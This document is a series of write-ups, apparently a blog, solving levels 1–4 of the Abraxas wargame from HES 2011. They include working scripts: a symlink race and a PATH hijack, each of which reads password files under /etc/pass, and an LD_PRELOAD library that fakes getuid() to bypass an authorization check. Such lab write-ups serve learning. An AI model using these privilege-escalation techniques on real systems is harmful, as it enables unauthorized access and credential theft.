
And we're set!

Here is the exploit:
#!/bin/sh

while true
do
    rm /opt/workpackagebuilder/work/pwn4.bin
    ln -s /etc/pass/level4 /opt/workpackagebuilder/work/pwn4.bin

    for idx in `seq 0 20`;
    do
        echo "../../../opt/workpackagebuilder/work/pwn4" > "/opt/workpackagebuilder/work/tmpfile$idx"
        chmod a-rxw "/opt/workpackagebuilder/work/tmpfile$idx"
        chmod o+r "/opt/workpackagebuilder/work/tmpfile$idx"
        chmod u+rxw "/opt/workpackagebuilder/work/tmpfile$idx"
    done

done

You just gotta wait every 5 minutes and get the password in the corresponding output file ;).

Cheers,

m_101

[HES 2011] Abraxas Wargame - Level 3

Hello,

Level3, here we come!

Clues from the logbook:
- "she's currently testing with generated datasets."
- "The entire thing is written in bash and runs as a cronjob every 10 minutes."

We look at the cronjob to locate the script:
$ cat /etc/cron.d/lifesupport_process 

*/10 * * * *    level3 /home/level3/bin/lifesupport_process.sh &> /dev/null

We read it:
$ cat /home/level3/bin/lifesupport_process.sh
#!/bin/bash

datadir=/opt/lifesupportdata
scriptdir=/home/level3/bin/

PATH=$datadir:.:$scriptdir:$PATH

cd $scriptdir
. common.inc.sh

# life support stats
data=$($scriptdir/lifesupport_data.sh)

echo    "Orig:      $data"
echo -n "Sorted:    "; mysort $data
echo -n "Sum:       "; sum $data
echo -n "Average:   "; avg $data
echo -n "Max:       "; max $data
echo -n "Min:       "; min $data
echo -n "Cumulated: "; cumul $data

mmm, we can see datadir in PATH! Interesting.
Let's look at its perms:
$ ls -lash /opt/
total 16K
4.0K drwxr-xr-x  4 root root   4.0K 2011-04-06 10:54 .
4.0K drwxr-xr-x 21 root root   4.0K 2011-09-02 14:17 ..
4.0K drwx-wx--x  2 root level2 4.0K 2013-03-06 02:17 lifesupportdata
4.0K drwxr-xr-x  6 root root   4.0K 2011-04-05 00:07 workpackagebuilder

We can write to /opt/lifesupportdata!
So we can use PATH to redirect to out script.
I tried with echo but no luck, so when looking at lifesupport_data.sh:
$ cat /home/level3/bin/lifesupport_data.sh 
#!/bin/bash

# FIXME: There is no kernel module yet to retrieve life support data
# This script just spits out random data, so we can at least test the processing scripts

for i in `seq 1 10`;
do
  echo -n $((RANDOM % 100))
  echo -n " "
done
echo

seq work wonderfully, here is the exploit:
#!/bin/sh

cat << EOF > /opt/lifesupportdata/seq
#!/bin/sh

/bin/cat /etc/pass/level3 > /tmp/lvl3.pass
EOF

chmod a+x /opt/lifesupportdata/seq

And yes, the script run as whatever id you run it at, so you can do anything.
Now, you've just got to wait every 10 minutes ;).

Cheers,

m_101

[HES 2011] Abraxas Wargame - Level 2

Hello,

Time for level 2 :).

Clues from logbook:
"All I learned is that it is written in C and authenticates the user with his user ID."

Heh, should be using getuid(), let's check!

File permissions first:
$ ls -lash /home/level2/bin/
total 16K
4.0K drwxr-xr-x 2 level2 level2 4.0K 2011-04-04 15:28 .
4.0K drwxr-xr-x 3 level2 level2 4.0K 2011-04-04 15:28 ..
8.0K -r-x--x--- 1 level2 level1 7.3K 2011-04-04 15:28 recover

No luck, we can't read it ... but we can still check using strace :).

$ strace /home/level2/bin/recover 
execve("/home/level2/bin/recover", ["/home/level2/bin/recover"], [/* 18 vars */]) = 0
brk(0)                                  = 0x9616000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7829000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=31341, ...}) = 0
mmap2(NULL, 31341, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7821000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libc.so.6", O_RDONLY)        = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0@n\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1421892, ...}) = 0
mmap2(NULL, 1427880, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb76c4000
mmap2(0xb781b000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x157) = 0xb781b000
mmap2(0xb781e000, 10664, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb781e000
close(3)                                = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb76c3000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb76c36c0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
mprotect(0xb781b000, 8192, PROT_READ)   = 0
mprotect(0x8049000, 4096, PROT_READ)    = 0
mprotect(0xb7848000, 4096, PROT_READ)   = 0
munmap(0xb7821000, 31341)               = 0
getuid32()                              = 1001
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7828000
write(1, "You are not authorized to execut"..., 77You are not authorized to execute this program (UID = 1001 instead of 1002).
) = 77
exit_group(-1)                          = ?

You can see getuid32()! Bingo!

When we try to execute it, it says:
$ /home/level2/bin/recover 

You are not authorized to execute this program (UID = 1001 instead of 1002).

Bummer ... or not.
If you've been playing with Linux (or any UNIX-like) a bit, you ought to know LD_PRELOAD ;).

Here is the exploit:
#!/bin/sh

cat <<EOF >level1.c
#include <unistd.h>

uid_t getuid (void)
{
    return 1002;
}
EOF

gcc -fPIC -c level1.c -o level1.o
gcc -shared -Wl,-soname,libevil.so.1 -o libevil.so.1.0.1 level1.o
LD_PRELOAD=./libevil.so.1.0.1 /home/level2/bin/recover

Cheers,

m_101

[HES 2011] Abraxas Wargame - Level 1

Hello,

I wanted to play a bit.
I randomly chose to play Abraxas Wargame which was especially made for HES (Hackito Ergo Sum) 2011.

First, you'll need to get it:
http://www.overthewire.org/wargames/abraxas/

And the only (sufficient) clues you got:
http://agent7a69.blogspot.fr/

Ok, now to the game.

For the first level, you got 4 clues in the post concerning it:
"From his design documents, I've been able to gather that he uses XOR for performance reasons and a rolling key of only 4 ASCII characters!"
"The communications module can be acivated through "secure" connection to port 4373."
"The communications module displays a banner with lots of spaces and '#' signs in it, which should make the decryption easier."

Ok, so we have:
- XOR "encryption"
- key of 4 ASCII chars
- port 4373
- spaces or #

What I simply did was to code a network program that connect to the target and XOR the output with 0x20202020 (4 spaces then).

For the XOR, it was test and try, after some time and code tuning I realized that the indexes for the xoring were different, you had the following choices:
- one index local to the function so it is re-initialized at every function call
- two index (write and read) local to the function so it is re-initialized at every function call
- one index defined outside of the function so it keeps its state
- two index (write and read) defined outside of the function so it keeps their state
It was the last solution that worked.

When you XOR with 0x20202020, you end up with the following output:
got 366 bytes

3.00000 [ 0.37500 ]

Nfs!dfs!dfs!dfs!dfs!gep"dfs!dep"gep!dfs"gep"Nfs!dfs!dfs!dfs!dfs!ges!ges!dep!dfs!dfp"dfs!Nfs!dfs!dfs!dfs!dfs!ges!des!dep"gep!dfs"gep!Nfs!dfs!dfs!dfs!dfs!ges!ges!dep!dfs!dfs!dfp"Nfs!dfs!dfs!dfs!dfs!gep"dfs!dep!dfs!dfp"gep!NLs!dfs!dfs!dfs!dep"gep"gep"gep"gep"gep"gep"gep"gLs!dfs!dfs!dfs!dep!dfn)+&o-%2u-)=rd<o04<mdfs"gLs!dfs!dfs!dfs!dep"gep"gep"gep"gep"gep"gep"gep"gL

We can deduce that the key is "dfs!", let's try! Yes, no bruteforce needed ...
got 473 bytes
2.00000 [ 0.25000 ]
                   ####     ######    #####
                   ##  ##   ##       ##    
                   ##   #   ######    #### 
                   ##  ##   ##           ##
                   ####     ##       ##### 

               ################################
               ##   Communications Control   ##
               ################################

Menu
----

1. Startup communications.
2. Shutdown communications.
3. Logout.

Please select your action >
Here you go :).

This should be sufficient for you to write the code ;).

Hope you enjoyed it,

m_101